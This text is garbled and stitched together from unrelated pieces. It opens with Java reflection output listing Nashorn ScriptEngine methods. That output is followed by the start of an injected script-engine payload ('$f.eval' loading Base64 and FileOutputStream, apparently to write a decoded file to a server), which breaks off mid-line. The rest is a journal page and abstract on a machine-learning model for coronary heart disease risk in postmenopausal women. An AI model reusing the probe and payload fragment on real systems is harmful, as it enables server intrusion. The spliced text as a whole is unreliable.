public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (5): 967-976.doi: 10.12122/j.issn.1673-4254.2026.05.01

    Next Articles

Development and validation of a machine learning-based model for assessing coronary artery disease risk in postmenopausal women: a dual-center retrospective study

Yifan DENG1,2(), Junmei PAN2,3, Shenghu HE1,2, Wei ZHOU3(), Jing ZHANG1,2()   

  1. 1.Department of Cardiology, Northern Jiangsu People's Hospital Affiliated to Yangzhou University/Northern Jiangsu People's Hospital, Yangzhou 225001, China
    2.Medical College of Yangzhou University, Yangzhou 225001, China
    3.Department of Rheumatology and Immunology, Affiliated Hospital of Yangzhou University, Yangzhou 225001, China
  • Received:2025-04-05 Accepted:2025-12-23 Online:2026-05-20 Published:2026-05-27
  • Contact: Wei ZHOU, Jing ZHANG E-mail:13797847930@163.com;zhouweiyjs@163.com;zhangjingyjs@163.com
  • Supported by:
    Postgraduate Research & Practice Innovation Program of Jiangsu Province(SJCX24-2350);江苏省研究生科研与实践创新计划资助项目(SJCX24-2350);Clinical Trials Fund of Nor thern Jiangsu People's Hospital(SBLC25008);苏北人民医院临床研究专项资金(SBLC25008)

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Abstract:

Objective To investigate the risk factors of coronary heart disease (CHD) and develop a risk assessment model for CHD in postmenopausal women. Methods General information, medical history, and laboratory test results of the patients were collected from postmenopausal women with CHD admitted to two medical centers in Yangzhou (Jiangsu Province, China) from November, 2018 to November, 2023. After excluding cases with incomplete medical records, 1197 patients were included, who were divided into the training cohort (n=821) and validation cohort (n=376) based on the hospital of admission. In the training cohort, the risk factors for CHD in postmenopausal women were identified using Lasso regression, multivariate logistic regression analysis, and machine learning algorithms including Light GradientBoosting Machine (LGBM), Random Forest (RF), Decision Tree (DT), Support Vector Machine (SVM), Extreme Gradient Boosting (XGBoost), K-Nearest Neighbors (KNN), and Naive Bayes (NB). Risk assessment models were constructed using these algorithms, and their performance was evaluated using ROC curves, decision curve analysis (DCA), and calibration curves. Results Lasso regression suggested body mass index (BMI) classification and glycated hemoglobin were independent risk factors for CHD in postmenopausal women, whereas age at menopause and high-density lipoprotein cholesterol (HDL-C) were independent protective factors (P<0.05). Among the machine learning models, XGBoost demonstrated the best assessment performance in both the training set (AUC: 0.912; sensitivity: 0.892; specificity: 0.766; recall: 0.892; F1-score: 0.899) and the validation set (AUC: 0.891; sensitivity: 0.836; specificity: 0.921; recall: 0.837; F1-score: 0.877). Calibration curve and DCA curve analyses indicated good consistency between the predicted and actual outcomes. A nomogram and SHAP summary plot were used to visualize and interpret the logistic regression model and the XGBoost model, respectively. Conclusion The risk assessment model for CHD in Chinese postmenopausal women established in this study demonstrates good accuracy and applicability to allow early identification of high-risk patients.

Key words: postmenopausal women, coronary heart disease, nomogram